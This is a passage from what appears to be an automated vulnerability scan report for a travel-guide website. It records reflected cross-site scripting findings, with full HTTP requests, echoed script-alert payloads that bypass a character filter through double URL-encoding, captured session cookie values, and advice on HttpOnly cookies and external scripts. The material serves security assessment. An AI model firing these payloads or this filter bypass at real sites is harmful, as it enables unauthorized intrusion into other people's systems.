Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Travelguide/Countries/France/Regions/Ski+Resorts?d2f31%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e098b09412f3=1 HTTP/1.1 Host: www.wordtravels.com Proxy-Connection: keep-alive Referer: http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=e64d51e027f1a306a515203241dc8058; adnet_sess_id=Hm8hcq1RpSwdECnU; __utmb=111812354; __utmc=111812354; __utma=111812354.373991425.1297288590.1297288590.1297288590.1; __utmz=111812354.1297288592.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <link rel="icon" href="/favico ...[SNIP]... <meta name="description" content="Travel guide to Ski Resorts?d2f31"><script>alert(1)</script>098b09412f3=1 - France, travel guide, sightseeing, hotels, holiday, vacation, flights, tour guide"> ...[SNIP]...
2.18. http://www.wordtravels.com/Travelguide/Countries/France/Regions/Ski+Resorts [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
Information
Confidence:
Certain
Host:
http://www.wordtravels.com
Path:
/Travelguide/Countries/France/Regions/Ski+Resorts
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as text between TITLE tags. The payload aa173%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4720471d5b3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as aa173</title><script>alert(1)</script>4720471d5b3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Travelguide/Countries/France/Regions/Ski+Resorts?aa173%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4720471d5b3=1 HTTP/1.1 Host: www.wordtravels.com Proxy-Connection: keep-alive Referer: http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=e64d51e027f1a306a515203241dc8058; adnet_sess_id=Hm8hcq1RpSwdECnU; __utmb=111812354; __utmc=111812354; __utma=111812354.373991425.1297288590.1297288590.1297288590.1; __utmz=111812354.1297288592.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <link rel="icon" href="/favico ...[SNIP]... <title>Ski Resorts?aa173</title><script>alert(1)</script>4720471d5b3=1 Travel Guide, France, Ski Resorts?aa173</title> ...[SNIP]...
2.19. http://www.wordtravels.com/Travelguide/Countries/France/Regions/Ski+Resorts [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
Information
Confidence:
Certain
Host:
http://www.wordtravels.com
Path:
/Travelguide/Countries/France/Regions/Ski+Resorts
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload e4423%253cscript%253ealert%25281%2529%253c%252fscript%253e0f4ee5c198f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as e4423<script>alert(1)</script>0f4ee5c198f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Travelguide/Countries/France/Regions/Ski+Resorts?e4423%253cscript%253ealert%25281%2529%253c%252fscript%253e0f4ee5c198f=1 HTTP/1.1 Host: www.wordtravels.com Proxy-Connection: keep-alive Referer: http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=e64d51e027f1a306a515203241dc8058; adnet_sess_id=Hm8hcq1RpSwdECnU; __utmb=111812354; __utmc=111812354; __utma=111812354.373991425.1297288590.1297288590.1297288590.1; __utmz=111812354.1297288592.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
Request
GET /Resorts/France/Ski+Resorts/Courchevel HTTP/1.1 Host: www.wordtravels.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.